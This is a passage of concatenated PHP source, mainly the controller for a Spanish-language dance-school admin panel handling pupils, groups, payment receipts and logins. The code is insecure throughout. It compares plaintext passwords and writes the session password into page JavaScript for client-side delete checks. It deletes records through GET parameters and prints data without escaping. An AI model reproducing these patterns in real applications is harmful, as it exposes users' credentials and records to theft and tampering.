"Sorry, file already exists."; $uploadOk = 0; } // Check file size if ($_FILES["fileToUpload"]["size"] > 5000000) { echo "Sorry, your file is too large."; $uploadOk = 0; } // Allow certain file formats if($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg" && $imageFileType != "gif" ) { echo "Sorry, only JPG, JPEG, PNG & GIF files are allowed."; $uploadOk = 0; } // Check if $uploadOk is set to 0 by an error if ($uploadOk == 0) { echo "Sorry, your file was not uploaded."; // if everything is ok, try to upload file } else { if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) { echo "The file ". basename( $_FILES["fileToUpload"]["name"]). " has been uploaded."; } else { echo "Sorry, there was an error uploading your file."; } } $datosController = array( "id_grupo"=>$_POST["IdGrupo"], "id_alumna"=>$_POST["alumna"], "M_nombre"=>$_POST["nombre"], "M_apellido"=>$_POST["apellido"], "fecha_pago"=>$_POST["fecha"], "fecha_envio"=>date("Y-m-d H:i:s"), "comprobante"=>$_FILES["fileToUpload"]["name"], "folio"=>$_POST["folio"]); //Se le dice al modelo models/crud.php (Datos::registroUsuarioModel),que en la clase "Datos", la funcion "registroUsuarioModel" reciba en sus 2 parametros los valores "$datosController" y el nombre de la tabla a conectarnos la cual es "usuarios": $respuesta = Datos::registroPagoModel($datosController, "pagos"); //se imprime la respuesta en la vista if($respuesta == "success"){ header("location:index.php"); } else{ header("location: index.php?action=registrarPago2"); } } } #REGISTRO DE PAGOS - MODO ADMIN #------------------------------------ public function registroPagoController(){ if(isset($_POST["enviar"])){ $target_dir = "uploads/"; $target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]); $uploadOk = 1; $imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION)); // Check if image file is a actual image or fake image if(isset($_POST["submit"])) { $check = getimagesize($_FILES["fileToUpload"]["tmp_name"]); if($check !== false) { echo "File is an image - " . $check["mime"] . "."; $uploadOk = 1; } else { echo "File is not an image."; $uploadOk = 0; } } // Check if file already exists if (file_exists($target_file)) { echo "Sorry, file already exists."; $uploadOk = 0; } // Check file size if ($_FILES["fileToUpload"]["size"] > 500000) { echo "Sorry, your file is too large."; $uploadOk = 0; } // Allow certain file formats if($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg" && $imageFileType != "gif" ) { echo "Sorry, only JPG, JPEG, PNG & GIF files are allowed."; $uploadOk = 0; } // Check if $uploadOk is set to 0 by an error if ($uploadOk == 0) { echo "Sorry, your file was not uploaded."; // if everything is ok, try to upload file } else { if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) { echo "The file ". basename( $_FILES["fileToUpload"]["name"]). " has been uploaded."; } else { echo "Sorry, there was an error uploading your file."; } } $datosController = array( "id_grupo"=>$_POST["IdGrupo"], "id_alumna"=>$_POST["alumna"], "M_nombre"=>$_POST["nombre"], "M_apellido"=>$_POST["apellido"], "fecha_pago"=>$_POST["fecha"], "fecha_envio"=>date("Y-m-d H:i:s"), "comprobante"=>$_FILES["fileToUpload"]["name"], "folio"=>$_POST["folio"]); //Se le dice al modelo models/crud.php (Datos::registroUsuarioModel),que en la clase "Datos", la funcion "registroUsuarioModel" reciba en sus 2 parametros los valores "$datosController" y el nombre de la tabla a conectarnos la cual es "usuarios": $respuesta = Datos::registroPagoModel($datosController, "pagos"); //se imprime la respuesta en la vista if($respuesta == "success"){ header("location:index.php?action=PagoRealizado"); } else{ header("location: index.php?action=pagos"); } } } #REGISTRO DE ALUMNAS #------------------------------------ public function registroAlumnaController(){ if(isset($_POST["enviar"])){ //Recibe a traves del método POST el name (html) de usuario, password y email, se almacenan los datos en una variable de tipo array con sus respectivas propiedades (usuario, password y email): $datosController = array( "nombre"=>$_POST["nombre"], "apellido"=>$_POST["apellido"], "id"=>$_POST["IdGrupo"]); //Se le dice al modelo models/crud.php (Datos::registroUsuarioModel),que en la clase "Datos", la funcion "registroUsuarioModel" reciba en sus 2 parametros los valores "$datosController" y el nombre de la tabla a conectarnos la cual es "usuarios": $respuesta = Datos::registroAlumnasModel($datosController, "alumnas"); //se imprime la respuesta en la vista if($respuesta == "success"){ header("location:index.php?action=AlumnaRegistrada"); } else{ header("location:index.php?action=alumnas"); } } } // SELECCIONA A LAS ALUMNAS PARA EL EVENTO ONCHANGE DEL GRUPO Y TRAER LAS ALUMNAS QUE PERTENECEN A ESE GRUPO public function verAlumnasController(){ /*$respuesta = Datos::seleccionarGAlumnasModel("alumnas"); foreach($respuesta as $row => $item){ echo'<option value="'.$item["id_alumna"].'">'.$item["nombre"].' '.$item["apellido"].'</option>'; }*/ $a = Datos::vistaAlumnasModel("alumnas"); //Variable que almacena la informacion de cada alumna en cadena $al =""; foreach ($a as $fila) { $al = $al . $fila["id_alumna"] . "," . $fila["nombre"] . " " . $fila["apellido"] .','. $fila["id_grupo"] . "$"; } return $al; } #REGISTRO DE GRUPOS #------------------------------------ public function registroGrupoController(){ if(isset($_POST["enviar"])){ //Recibe a traves del método POST el name (html) de usuario, password y email, se almacenan los datos en una variable de tipo array con sus respectivas propiedades (usuario, password y email): $datosController = array( "nombre"=>$_POST["nombre"]); //Se le dice al modelo models/crud.php (Datos::registroUsuarioModel),que en la clase "Datos", la funcion "registroUsuarioModel" reciba en sus 2 parametros los valores "$datosController" y el nombre de la tabla a conectarnos la cual es "usuarios": $respuesta = Datos::registroGrupoModel($datosController, "grupos"); //se imprime la respuesta en la vista if($respuesta == "success"){ header("location:index.php?action=GrupoRegistrado"); } else{ header("location:index.php?action=grupos"); } } } #INICIO DE SESION #------------------------------------ public function iniciarSesionController(){ if(isset($_POST["usuarioIngreso"])){ $datosController = array( "username"=>$_POST["usuarioIngreso"], "password"=>$_POST["<PASSWORD>Ingreso"]); $respuesta = Datos::iniciarSesionModel($datosController, "usuarios"); //Valiación de la respuesta del modelo para ver si es un usuario correcto. if($respuesta["username"] == $_POST["usuarioIngreso"] && $respuesta["password"] == $_POST["passwordIngreso"]){ session_start(); $_SESSION["validar"] = true; $_SESSION["nombre"] = $respuesta["nombre"]; $_SESSION["password"] = $<PASSWORD>["<PASSWORD>"]; $_SESSION["id_usuario"] = $respuesta["id_usuario"]; $_SESSION["username"] = $respuesta["username"]; //$_SESSION["bandera"] = 0; header("location:index.php?action=dashboard"); } else{ header("location:index.php?action=fallo"); } } } #VALIDAR SESION PARA IMPLEMENTAR SIDEBAR #------------------------------------ public function checarIngresoController(){ error_reporting(0); session_start(); if(isset($_SESSION["validar"])){ if($_SESSION["validar"]){ echo ' <!-- /.content-header --> <!-- Navbar --> <nav class="main-header navbar navbar-expand navbar-dark border-bottom" style="background-color: #954E9E"> <!-- Left navbar links --> <ul class="navbar-nav"> <li class="nav-item"> <a class="nav-link" data-widget="pushmenu" href="#"><i class="fa fa-bars"></i></a> </li> <li class="nav-item d-none d-sm-inline-block"> <a href="index.php?action=dashboard" class="nav-link">Inicio</a> </li> </ul> <!-- SEARCH FORM --> <form class="form-inline ml-3"> <div class="input-group input-group-sm"> <input class="form-control form-control-navbar" type="search" placeholder="Buscar" aria-label="Search"> <div class="input-group-append"> <button class="btn btn-navbar" type="submit"> <i class="fa fa-search"></i> </button> </div> </div> </form> <ul class="navbar-nav ml-auto"> <!-- Notifications Dropdown Menu --> <li class="nav-item dropdown"> <a class="nav-link" data-toggle="dropdown" href="#"> <i class="fa fa-bell-o"></i> <span class="badge navbar-badge" style="background-color: #dd7d00; color: white;">'; $respuesta = Datos::seleccionarGrupos("grupos"); echo count($respuesta); echo '</span> </a> <div class="dropdown-menu dropdown-menu-lg dropdown-menu-right"> <span class="dropdown-item dropdown-header">'; echo count($respuesta); echo' Notificacion(es)</span> <div class="dropdown-divider"></div>'; $respuesta = Datos::seleccionarGrupos("grupos"); foreach($respuesta as $row => $item){ $respuesta2 = Datos::seleccionarAlumnasXGrupo("alumnas",$item["id_grupo"]); echo ' <a class="dropdown-item"> <i class="fa fa-cubes mr-2"></i>'; echo 'GrupoID: '.$item["id_grupo"].' tiene ';echo count($respuesta2); echo ' alumnas'; echo'</a>'; } echo ' <div class="dropdown-divider"></div> </li> <li class="nav-item"> <a class="nav-link" href="index.php?action=help"><i class="fa fa-question-circle"></i></a> </li> </ul> </nav> <!-- /.navbar --> <!-- Main Sidebar Container --> <aside class="main-sidebar sidebar-dark-primary elevation-4"> <!-- Brand Logo --> <a href="index.php?action=dashboard" class="brand-link" style="background-color: #954E9E"> <img src="views/dist/img/he.jpeg" alt="AdminLTE Logo" class="brand-image img-circle elevation-6" style="opacity: .8"> <center><span class="brand-text font-weight-light">Bienvenidos a Danzlife</span></center> </a> <!-- Sidebar --> <div class="sidebar"> <!-- Sidebar user panel (optional) --> <div class="user-panel mt-3 pb-3 mb-3 d-flex"> <div class="image"> <img src="views/dist/img/user8-128x128.jpg" class="img-circle elevation-2" alt="User Image"> </div> <div class="info"> <a href="" class="d-block">'.$_SESSION["nombre"].'</a> <a href="" class="d-block">ID USER: '.$_SESSION["id_usuario"].'</a> <a href="" class="d-block">USERNAME: '.$_SESSION["username"].'</a> </div> </div> <!-- Sidebar Menu --> <nav class="mt-2"> <ul class="nav nav-pills nav-sidebar flex-column" data-widget="treeview" role="menu" data-accordion="false"> <!-- Add icons to the links using the .nav-icon class with font-awesome or any other icon font library --> <li class="nav-item"> <a href="index.php?action=dashboard" class="nav-link"> <i class="nav-icon fa fa-dashboard"></i> <p> Dashboard </p> </a> </li> <li class="nav-item"> <a href="index.php?action=grupos" class="nav-link"> <i class="nav-icon fa fa-clone"></i> <p> Grupos <i class="right fa fa-angle-left"></i> </p> </a> <ul class="nav nav-treeview"> <li class="nav-item"> <a href="index.php?action=grupos" class="nav-link"> <i class="nav-icon fa fa-list-alt"></i> <p>Listado de Grupos</p> </a> </ul> <ul class="nav nav-treeview"> <li class="nav-item"> <a href="index.php?action=registrarGrupo" class="nav-link"> <i class="nav-icon fa fa-plus-circle"></i> <p>Registrar Grupo</p> </a> </ul> </li> <li class="nav-item"> <a href="index.php?action=alumnas" class="nav-link"> <i class="nav-icon fa fa-user"></i> <p> Alumnas <i class="right fa fa-angle-left"></i> </p> </a> <ul class="nav nav-treeview"> <li class="nav-item"> <a href="index.php?action=alumnas" class="nav-link"> <i class="nav-icon fa fa-list-alt"></i> <p>Listado de Alumnas</p> </a> </ul> <ul class="nav nav-treeview"> <li class="nav-item"> <a href="index.php?action=registrarAlumnas" class="nav-link"> <i class="nav-icon fa fa-user-plus"></i> <p>Registrar Alumnas</p> </a> </ul> </li> <li class="nav-item"> <a href="index.php?action=pagos" class="nav-link"> <i class="nav-icon fa fa-credit-card"></i> <p> Pagos <!--<i class="right fa fa-angle-left"></i>--> </p> </a> <!--<ul class="nav nav-treeview"> <li class="nav-item"> <a href="index.php?action=pagos" class="nav-link"> <i class="nav-icon fa fa-list-alt"></i> <p>Listado de Pagos</p> </a> </ul> <ul class="nav nav-treeview"> <li class="nav-item"> <a href="index.php?action=registrarPago" class="nav-link"> <i class="nav-icon fa fa-user-plus"></i> <p>Registrar Pago</p> </a> </ul>--> </li> <li class="nav-item has-treeview"> <a href="index.php?action=salir" class="nav-link"> <i class="nav-icon fa fa-arrow-left"></i> <p> Cerrar Sesión </p> </a> </li> </ul> </nav> <!-- /.sidebar-menu --> </div> <!-- /.sidebar --> </aside>'; }else{ } }else{ } } #VISTA DE ALUMNAS #------------------------------------ public function vistaAlumnasController(){ $respuesta = Datos::vistaAlumnasModel("alumnas"); #El constructor foreach proporciona un modo sencillo de iterar sobre arrays. foreach funciona sólo sobre arrays y objetos, y emitirá un error al intentar usarlo con una variable de un tipo diferente de datos o una variable no inicializada. foreach($respuesta as $row => $item){ echo'<tr> <td>'.$item["id_alumna"].'</td> <td>'.$item["nombre"].' '.$item["apellido"].'</td> <td>'.$item["id_grupo"].'</td> <td><center><a href="index.php?action=editar&id='.$item["id_alumna"].'" class="btn btn-info" title= "Editar Alumna"> <i class="fa fa-edit"></i> </a> <button onClick="borrar('.$item["id_alumna"].');" class="btn btn-danger" title= "Borrar Alumna"> <i class="fa fa-trash"></i> </button> </center> </td> <!--<td><a href="index.php?action=editar&id='.$item["id_usuario"].'"><button class="btn btn-block btn-secondary">Editar</button></a></td>--> <!--<td><a href="index.php?action=usuarios&idBorrar='.$item["id_usuario"].'"><button class="btn btn-block btn-danger">Borrar</button></a></td>--> </tr>'; } echo '<script type="text/javascript"> var password="'.$_SESSION["<PASSWORD>"].'"; function borrar(id){ swal("Ingrese su contraseña:", { content: "input", }) .then((value) => { if (value==password) { window.location.href = "index.php?action=alumnas&idBorrar="+id; }else{ swal("Contraseña Incorrecta", "Intente de nuevo", "error"); } }); } </script>'; } // VISTA DE PAGOS EN MODO ADMIN public function vistaPagosController(){ $respuesta = Datos::vistaPagosModel("pagos"); #El constructor foreach proporciona un modo sencillo de iterar sobre arrays. foreach funciona sólo sobre arrays y objetos, y emitirá un error al intentar usarlo con una variable de un tipo diferente de datos o una variable no inicializada. foreach($respuesta as $row => $item){ echo'<tr> <td>'.$item["id_pago"].'</td> <td>'.$item["nombre"].' '.$item["apellido"].'</td> <td>'.$item["id_grupo"].'</td> <td>'.$item["M_nombre"].' '.$item["M_apellido"].'</td> <td>'.$item["fecha_pago"].'</td> <td>'.$item["fecha_envio"].'</td> <td>'.$item["folio"].'</td> <td><center><a href="uploads/'.$item["comprobante"].'" class="btn" style="background-color: #dd7d00; color: white;" title= "Ver Imagen"> <i class="fa fa-image"></i> </a> <a href="index.php?action=editarPago&id='.$item["id_pago"].'" class="btn btn-info" title= "Editar Pago"> <i class="fa fa-edit"></i> </a> <button onClick="borrar('.$item["id_pago"].');" class="btn btn-danger" title= "Borrar Pago"> <i class="fa fa-trash"></i> </button> </center> </td> <!--<td><a href="index.php?action=editar&id='.$item["id_usuario"].'"><button class="btn btn-block btn-secondary">Editar</button></a></td>--> <!--<td><a href="index.php?action=usuarios&idBorrar='.$item["id_usuario"].'"><button class="btn btn-block btn-danger">Borrar</button></a></td>--> </tr>'; } echo '<script type="text/javascript"> var password="'.$_SESSION["password"].'"; function borrar(id){ swal("Ingrese su contraseña:", { content: "input", }) .then((value) => { if (value==password) { window.location.href = "index.php?action=pagos&idBorrar="+id; }else{ swal("Contraseña Incorrecta", "Intente de nuevo", "error"); } }); } </script>'; } //VISTA DE PAGOS DE FORMA PUBLICA public function vistaPPagosController(){ $respuesta = Datos::vistaPagosModel("pagos"); #El constructor foreach proporciona un modo sencillo de iterar sobre arrays. foreach funciona sólo sobre arrays y objetos, y emitirá un error al intentar usarlo con una variable de un tipo diferente de datos o una variable no inicializada. foreach($respuesta as $row => $item){ echo'<tr> <td>'.$item["id_pago"].'</td> <td>'.$item["nombre"].' '.$item["apellido"].'</td> <td>'.$item["id_grupo"].'</td> <td>'.$item["M_nombre"].' '.$item["M_apellido"].'</td> <td>'.$item["fecha_pago"].'</td> <td>'.$item["fecha_envio"].'</td> <!--<td><a href="index.php?action=editar&id='.$item["id_usuario"].'"><button class="btn btn-block btn-secondary">Editar</button></a></td>--> <!--<td><a href="index.php?action=usuarios&idBorrar='.$item["id_usuario"].'"><button class="btn btn-block btn-danger">Borrar</button></a></td>--> </tr>'; } } //VISTA DE LUGARES DE FORMA PUBLICA public function vistaPPago2Controller(){ $respuesta = Datos::vistaPagos2Model("pagos"); #El constructor foreach proporciona un modo sencillo de iterar sobre arrays. foreach funciona sólo sobre arrays y objetos, y emitirá un error al intentar usarlo con una variable de un tipo diferente de datos o una variable no inicializada. $id = 1; foreach($respuesta as $row => $item){ echo'<tr> <td>'.$id.'</td> <td>'.$item["id_pago"].'</td> <td>'.$item["nombre"].' '.$item["apellido"].'</td> <td>'.$item["id_grupo"].'</td> <td>'.$item["M_nombre"].' '.$item["M_apellido"].'</td> <td>'.$item["fecha_pago"].'</td> <td>'.$item["fecha_envio"].'</td> <td>'.$item["folio"].'</td> <!--<td><a href="index.php?action=editar&id='.$item["id_usuario"].'"><button class="btn btn-block btn-secondary">Editar</button></a></td>--> <!--<td><a href="index.php?action=usuarios&idBorrar='.$item["id_usuario"].'"><button class="btn btn-block btn-danger">Borrar</button></a></td>--> </tr>'; $id++; } } #OBTENER EL TOTAL DE USUARIOS #------------------------------------ public function totalUsuariosController(){ $respuesta = Datos::totalUsuariosModel("usuarios"); echo count($respuesta); } #OBTENER EL TOTAL DE PAGOS #------------------------------------ public function totalPagosController(){ $respuesta = Datos::totalPagosModel("pagos"); echo count($respuesta); } #OBTENER EL TOTAL DE GRUPOS #------------------------------------ public function totalGruposController(){ $respuesta = Datos::totalGruposModel("grupos"); echo count($respuesta); } #OBTENER EL TOTAL DE ALUMNAS #------------------------------------ public function totalAlumnasController(){ $respuesta = Datos::totalAlumnasModel("alumnas"); echo count($respuesta); } #VISTA DE LOS GRUPOS #------------------------------------ public function vistaGruposController(){ $respuesta = Datos::vistaGruposModel("grupos"); #El constructor foreach proporciona un modo sencillo de iterar sobre arrays. foreach funciona sólo sobre arrays y objetos, y emitirá un error al intentar usarlo con una variable de un tipo diferente de datos o una variable no inicializada. foreach($respuesta as $row => $item){ echo'<tr> <td>'.$item["id_grupo"].'</td> <td>'.$item["nombre"].'</td> <td><center><a href="index.php?action=editarGrupo&id='.$item["id_grupo"].'" class="btn btn-info" title= "Editar Grupo"> <i class="fa fa-edit"></i> </a> <button onClick="borrar('.$item["id_grupo"].');" class="btn btn-danger" title= "Borrar Grupo"> <i class="fa fa-trash"></i> </button></center> </td> <!--<td><a href="index.php?action=editarCategoria&id='.$item["id_categoria"].'"><button class="btn btn-block btn-secondary">Editar</button></a></td>--> <!--<td><a href="index.php?action=categorias&idBorrar='.$item["id_categoria"].'"><button class="btn btn-block btn-danger">Borrar</button></a></td>--> </tr>'; } echo '<script type="text/javascript"> var password="'.$_SESSION["password"].'"; function borrar(id){ swal("Ingrese su contraseña:", { content: "input", }) .then((value) => { if (value==password) { window.location.href = "index.php?action=grupos&idBorrar="+id; }else{ swal("Contraseña Incorrecta", "Intente de nuevo", "error"); } }); } </script>'; } #EDITAR PAGO #------------------------------------ public function editarPagoController(){ $datosController = $_GET["id"]; $respuesta = Datos::editarPagoModel($datosController, "pagos"); $respuesta2 = Datos::seleccionarGruposModel("grupos"); echo' <div class="card-body"> <div class="row"> <div class="col-md-6"> <div class="form-group"> <label for="exampleInputEmail1">ID Pago</label> <input type="text" class="form-control" value="'.$respuesta["id_pago"].'" name="idEditar" readonly> </div> <div class="form-group"> <label for="exampleInputEmail1">ID Alumna</label> <input type="text" class="form-control" value="'.$respuesta["id_alumna"].'" name="idAEditar" readonly> </div> <div class="form-group"> <label for="exampleInputEmail1">Grupo</label> <input type="text" class="form-control" value="'.$respuesta["id_grupo"].'" name="grupoEditar" readonly> </div> <!--<div class="form-group"> <label for="exampleInputPassword1">Grupo</label> <select class="form-control select2" type="number" name="grupoEditar" style="width: 100%;">-->'; /*foreach($respuesta2 as $row => $item){ if($respuesta["id_grupo"]==$item["id_grupo"]){ echo '<option value="'.$item["id_grupo"].'" selected="selected">'.$item["id_grupo"].' - '.$item["nombre"].'</option>'; }else{ echo'<option value="'.$item["id_grupo"].'" >'.$item["id_grupo"].' - '.$item["nombre"].'</option>'; } }*/ /*echo '</select> </div>*/ echo ' <div class="form-group"> <label for="exampleInputFile">Imagen</label> <div class="input-group"> <div class="custom-file"> <input type="file" class="custom-file-input" id="exampleInputFile" name="fileToUpload" id="fileToUpload"> <label class="custom-file-label" for="exampleInputFile">Escoger archivo</label> </div> </div> </div> </div> <!-- /.col --> <div class="col-md-6"> <div class="form-group"> <label for="exampleInputEmail1">Nombre</label> <input type="text" class="form-control" value="'.$respuesta["M_nombre"].'" name="nombreEditar" required> </div> <div class="form-group"> <label for="exampleInputEmail1">Apellido</label> <input type="text" class="form-control" value="'.$respuesta["M_apellido"].'" name="apellidoEditar" required> </div> <div class="form-group"> <label for="exampleInputEmail1">Folio</label> <input type="text" class="form-control" value="'.$respuesta["folio"].'" name="folio" required> </div> <div class="form-group"> <label for="exampleInputEmail1">Fecha de Pago</label> <input type="date" class="form-control" value="'.$respuesta["fecha_pago"].'" name="fechaEditar" required> </div> </div> <!-- /.col --> </div> <!-- /.row --> </div> <!-- /.card-body --> <div class="card-body"> <div class="row"> <div class="col-md-3"> <div></div> </div> <div class="col-md-6"> <div class="card-footer"> <input type="submit" class="btn btn-block" style="background-color: #dd7d00; color: white;" name="actualizar" value="Actualizar"> </div> </div> <div class="col-md-3"> <div></div> </div> </div> </div>'; } //EDITAR ALUMNA public function editarAlumnaController(){ $datosController = $_GET["id"]; $respuesta = Datos::editarAlumnaModel($datosController, "alumnas"); $respuesta2 = Datos::seleccionarGruposModel("grupos"); echo' <div class="card-body"> <div class="row"> <div class="col-md-6"> <div class="form-group"> <label for="exampleInputEmail1">ID</label> <input type="text" class="form-control" value="'.$respuesta["id_alumna"].'" name="idEditar" readonly> </div> <div class="form-group"> <label for="exampleInputPassword1">Grupo</label> <select class="form-control select2" type="number" name="grupoEditar" style="width: 100%;">'; foreach($respuesta2 as $row => $item){ if($respuesta["id_grupo"]==$item["id_grupo"]){ echo '<option value="'.$item["id_grupo"].'" selected="selected">'.$item["nombre"].'</option>'; }else{ echo'<option value="'.$item["id_grupo"].'" >'.$item["nombre"].'</option>'; } } echo '</select> </div> </div> <!-- /.col --> <div class="col-md-6"> <div class="form-group"> <label for="exampleInputEmail1">Nombre</label> <input type="text" class="form-control" value="'.$respuesta["nombre"].'" name="nombreEditar" required> </div> <div class="form-group"> <label for="exampleInputEmail1">Apellido</label> <input type="text" class="form-control" value="'.$respuesta["apellido"].'" name="apellidoEditar" required> </div> </div> <!-- /.col --> </div> <!-- /.row --> </div> <!-- /.card-body --> <div class="card-body"> <div class="row"> <div class="col-md-3"> <div></div> </div> <div class="col-md-6"> <div class="card-footer"> <input type="submit" class="btn btn-block" style="background-color: #dd7d00; color: white;" name="actualizar" value="Actualizar"> </div> </div> <div class="col-md-3"> <div></div> </div> </div> </div>'; } #EDITAR GRUPO #------------------------------------ public function editarGrupoController(){ $datosController = $_GET["id"]; $respuesta = Datos::editarGrupoModel($datosController, "grupos"); echo' <div class="card-body"> <div class="row"> <div class="col-md-6"> <div class="form-group"> <label for="exampleInputEmail1">ID de Categoria</label> <input type="text" class="form-control" value="'.$respuesta["id_grupo"].'" name="idEditar" readonly> </div> <!-- /.form-group --> </div> <!-- /.col --> <div class="col-md-6"> <div class="form-group"> <label for="exampleInputEmail1">Nombre</label> <input type="text" class="form-control" value="'.$respuesta["nombre"].'" name="nombreEditar" required> </div> <!-- /.form-group --> </div> <!-- /.col --> </div> <!-- /.row --> </div> <!-- /.card-body --> <div class="card-body"> <div class="row"> <div class="col-md-3"> <div></div> </div> <div class="col-md-6"> <div class="card-footer"> <input type="submit" class="btn btn-block" style="background-color: #dd7d00; color: white;" name="actualizar" value="Actualizar"> </div> </div> <div class="col-md-3"> <div></div> </div> </div> </div>'; } #ACTUALIZAR PAGO #------------------------------------ public function actualizarPagoController(){ if(isset($_POST["actualizar"])){ $target_dir = "uploads/"; $target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]); $uploadOk = 1; $imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION)); // Check if image file is a actual image or fake image if(isset($_POST["submit"])) { $check = getimagesize($_FILES["fileToUpload"]["tmp_name"]); if($check !== false) { echo "File is an image - " . $check["mime"] . "."; $uploadOk = 1; } else { echo "File is not an image."; $uploadOk = 0; } } // Check if file already exists if (file_exists($target_file)) { echo "Sorry, file already exists."; $uploadOk = 0; } // Check file size if ($_FILES["fileToUpload"]["size"] > 500000) { echo "Sorry, your file is too large."; $uploadOk = 0; } // Allow certain file formats if($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg" && $imageFileType != "gif" ) { echo "Sorry, only JPG, JPEG, PNG & GIF files are allowed."; $uploadOk = 0; } // Check if $uploadOk is set to 0 by an error if ($uploadOk == 0) { echo "Sorry, your file was not uploaded."; // if everything is ok, try to upload file } else { if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) { echo "The file ". basename( $_FILES["fileToUpload"]["name"]). " has been uploaded."; } else { echo "Sorry, there was an error uploading your file."; } } $datosController = array( "id_pago"=>$_POST["idEditar"], "id_alumna"=>$_POST["idAEditar"], "id_grupo"=>$_POST["grupoEditar"], "M_nombre"=>$_POST["nombreEditar"], "M_apellido"=>$_POST["apellidoEditar"], "comprobante"=>$_FILES["fileToUpload"]["name"], "folio"=>$_POST["folio"], "fecha_pago"=>$_POST["fechaEditar"], "fecha_envio"=>date("Y-m-d H:i:s")); $respuesta = Datos::actualizarPagoModel($datosController, "pagos"); if($respuesta == "success"){ header("location:index.php?action=PagoEditado"); } else{ echo "error"; } } } //ACTUALIZAR ALUMNA public function actualizarAlumnaController(){ if(isset($_POST["actualizar"])){ $datosController = array( "id_alumna"=>$_POST["idEditar"], "nombre"=>$_POST["nombreEditar"], "apellido"=>$_POST["apellidoEditar"], "id_grupo"=>$_POST["grupoEditar"]); $respuesta = Datos::actualizarAlumnaModel($datosController, "alumnas"); if($respuesta == "success"){ header("location:index.php?action=AlumnaEditada"); } else{ echo "error"; } } } #ACTUALIZAR GRUPO #------------------------------------ public function actualizarGrupoController(){ if(isset($_POST["actualizar"])){ $datosController = array( "id_grupo"=>$_POST["idEditar"], "nombre"=>$_POST["nombreEditar"]); $respuesta = Datos::actualizarGruposModel($datosController, "grupos"); if($respuesta == "success"){ header("location:index.php?action=GrupoEditado"); } else{ echo "error"; } } } #BORRAR ALUMNA #------------------------------------ public function borrarAlumnaController(){ if(isset($_GET["idBorrar"])){ $datosController = $_GET["idBorrar"]; $respuesta = Datos::borrarAlumnaModel($datosController, "alumnas"); if($respuesta == "success"){ header("location:index.php?action=alumnas"); } } } #BORRAR PAGO #------------------------------------ public function borrarPagosController(){ if(isset($_GET["idBorrar"])){ $datosController = $_GET["idBorrar"]; $respuesta = Datos::borrarPagoModel($datosController, "pagos"); if($respuesta == "success"){ header("location:index.php?action=pagos"); } } } #BORRAR GRUPO #------------------------------------ public function borrarGruposController(){ if(isset($_GET["idBorrar"])){ $datosController = $_GET["idBorrar"]; $respuesta2 = Datos::borrarGrupoModel($datosController, "grupos"); if($respuesta2 == "success"){ header("location:index.php?action=grupos"); }else{ echo "error"; } } } #SELECCIONAR GRUPOS EXISTENTES #------------------------------------ public function seleccionarGruposController(){ $respuesta = Datos::seleccionarGruposModel("grupos"); #El constructor foreach proporciona un modo sencillo de iterar sobre arrays. foreach funciona sólo sobre arrays y objetos, y emitirá un error al intentar usarlo con una variable de un tipo diferente de datos o una variable no inicializada. foreach($respuesta as $row => $item){ echo'<option value="'.$item["id_grupo"].'">'.$item["id_grupo"].' - '.$item["nombre"].'</option>'; } } } //// ?><file_sep>/Practica082/views/modules/editartutorias.php <?php session_start(); if(!$_SESSION["validar"]){ header("location:index.php?action=ingresar"); exit(); } ?> <br> <h4>EDITAR TUTORIA</h4> <hr><br> <strong><h4>Información General</h4></strong> <br> <form method="post"> <?php $editarTutorias = new MvcControllerTutorias(); $editarTutorias -> editarTutoriaController(); $editarTutorias -> actualizarTutoriaController(); ?> </form> <file_sep>/Envios/models/enlaces.php <?php class Paginas{ public function enlacesPaginasModel($enlaces){ if($enlaces == "ingresar" || $enlaces == "alumnas" || $enlaces == "editar" || $enlaces == "salir" || $enlaces == "registrarAlumnas" || $enlaces == "productos" || $enlaces == "registrarProducto" || $enlaces == "editarProducto" || $enlaces == "dashboard" || $enlaces == "grupos" || $enlaces == "registrarGrupo" || $enlaces == "editarGrupo" || $enlaces == "historial" || $enlaces == "añadirStockProducto" || $enlaces == "quitarStockProducto" || $enlaces == "help" || $enlaces == "tiendas" || $enlaces == "registrarTienda" || $enlaces == "editarTienda" || $enlaces == "pagos" || $enlaces == "registrarPago" || $enlaces == "editarPago" || $enlaces == "registrarPago2"){ $module = "views/modules/".$enlaces.".php"; } else if($enlaces == "index"){ $module = "views/modules/registro.php"; } else if($enlaces == "ok"){ $module = "views/modules/registro.php"; } else if($enlaces == "AlumnaRegistrada"){ $module = "views/modules/alumnas.php"; /*echo' <div class="card"> <div class="card-header"> <div class="float-right" style="width: 83%"> <div class="alert alert-success" role="alert"> <strong>Alumna Registrada!</strong> Se agregó la alumna. </div> </div> </div> </div>';*/ } else if($enlaces == "PagoRealizado"){ $module = "views/modules/pagos.php"; /*echo' <div class="card"> <div class="card-header"> <div class="float-right" style="width: 83%"> <div class="alert alert-success" role="alert"> <strong>Producto Registrado!</strong> Se agregó el producto. </div> </div> </div> </div>';*/ } else if($enlaces == "GrupoRegistrado"){ $module = "views/modules/grupos.php"; /* echo' <div class="card"> <div class="card-header"> <div class="float-right" style="width: 83%"> <div class="alert alert-success" role="alert"> <strong>Grupo Registrado!</strong> Se agregó el grupo. </div> </div> </div> </div>'; */ } else if($enlaces == "TiendaRegistrada"){ $module = "views/modules/tiendas.php"; echo' <div class="card"> <div class="card-header"> <div class="float-right" style="width: 83%"> <div class="alert alert-success" role="alert"> <strong>Tienda Registrada!</strong> Se agregó la tienda. </div> </div> </div> </div>'; } else if($enlaces == "VentaRegistrada"){ $module = "views/modules/ventas.php"; echo' <div class="card"> <div class="card-header"> <div class="float-right" style="width: 83%"> <div class="alert alert-success" role="alert"> <strong>Venta Completada!</strong> Se realizó corectamente la venta. </div> </div> </div> </div>'; } else if($enlaces == "TiendaActivada"){ $module = "views/modules/tiendas.php"; } else if ($enlaces == "TiendaDesactivada") { $module = "views/modules/tiendas.php"; } else if($enlaces == "fallo"){ $module = "views/modules/ingresar.php"; } else if($enlaces == "ProductoEditado"){ $module = "views/modules/productos.php"; echo' <div class="card"> <div class="card-header"> <div class="float-right" style="width: 83%"> <div class="alert alert-info" role="alert"> 